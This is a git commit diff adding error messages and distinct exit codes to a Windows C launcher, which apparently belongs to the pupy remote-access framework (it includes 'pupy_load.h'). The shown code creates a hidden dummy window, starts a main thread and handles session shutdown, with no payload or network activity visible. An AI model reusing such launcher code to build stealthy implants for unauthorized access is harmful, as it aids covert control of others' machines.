Exit early with some different exit codes

This commit is contained in:
Oleksii Shevchuk 2017-07-08 17:28:33 +03:00
parent 860d21c7f8
commit 2d9fc79f5a
1 changed files with 61 additions and 47 deletions

View File

@ -5,6 +5,7 @@
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include "pupy_load.h" #include "pupy_load.h"
#include "debug.h"
void on_exit_session(void); void on_exit_session(void);
@ -12,21 +13,21 @@ static BOOL on_exit_session_called = FALSE;
LRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) LRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{ {
switch (msg) { switch (msg) {
case WM_QUERYENDSESSION: case WM_QUERYENDSESSION:
case WM_CLOSE: case WM_CLOSE:
case WM_QUIT: case WM_QUIT:
if (on_exit_session && !on_exit_session_called) { if (on_exit_session && !on_exit_session_called) {
on_exit_session_called = TRUE; on_exit_session_called = TRUE;
on_exit_session(); on_exit_session();
} }
return 1; return 1;
default: default:
return DefWindowProc (hwnd, msg, wParam, lParam); return DefWindowProc (hwnd, msg, wParam, lParam);
} }
return 0; return 0;
} }
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
@ -35,43 +36,56 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
MSG msg; MSG msg;
BOOL bRet; BOOL bRet;
WNDCLASS wc; WNDCLASS wc;
HWND hwndMain; HWND hwndMain;
HINSTANCE hinst; HINSTANCE hinst;
HANDLE hThread; HANDLE hThread;
DWORD threadId; DWORD threadId;
DWORD dwWake; DWORD dwWake;
WNDCLASSEX wx; WNDCLASSEX wx;
static const char class_name[] = "DUMMY"; static const char class_name[] = "DUMMY";
#ifdef DEBUG #ifdef DEBUG
AttachConsole(-1); AttachConsole(-1);
#endif #endif
ZeroMemory(&wx, sizeof(WNDCLASSEX)); ZeroMemory(&wx, sizeof(WNDCLASSEX));
wx.cbSize = sizeof(WNDCLASSEX); wx.cbSize = sizeof(WNDCLASSEX);
wx.lpfnWndProc = WinProc; wx.lpfnWndProc = WinProc;
wx.hInstance = hInstance; wx.hInstance = hInstance;
wx.lpszClassName = class_name; wx.lpszClassName = class_name;
if ( ! RegisterClassEx(&wx) )
return -1;
hwndMain = CreateWindowEx( if ( ! RegisterClassEx(&wx) ) {
0, dprint("RegisterClassEx failed: %d\n", GetLastError());
class_name, return -1;
NULL, }
0, 0, 0, 0, 0,
NULL, NULL, NULL, NULL
);
hThread = CreateThread( hwndMain = CreateWindowEx(
NULL, 0,
0, class_name,
mainThread, NULL,
NULL, 0, 0, 0, 0, 0,
0, NULL, NULL, NULL, NULL
&threadId );
);
if (!hwndMain) {
dprint("CreateWindowEx failed: %d\n", GetLastError());
return -2;
}
hThread = CreateThread(
NULL,
0,
mainThread,
NULL,
0,
&threadId
);
if (!hThread) {
dprint("CreateThread failed: %d\n", GetLastError());
return -GetLastError();
}
for (;;) { for (;;) {
dwWake = MsgWaitForMultipleObjects( dwWake = MsgWaitForMultipleObjects(
@ -80,11 +94,11 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
FALSE, FALSE,
INFINITE, INFINITE,
QS_ALLINPUT QS_ALLINPUT
); );
switch (dwWake) { switch (dwWake) {
case WAIT_FAILED: case WAIT_FAILED:
return -1; return -3;
case WAIT_TIMEOUT: case WAIT_TIMEOUT:
continue; continue;
@ -99,7 +113,7 @@ int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
} }
break; break;
} }
} }
return 0; return 0;
} }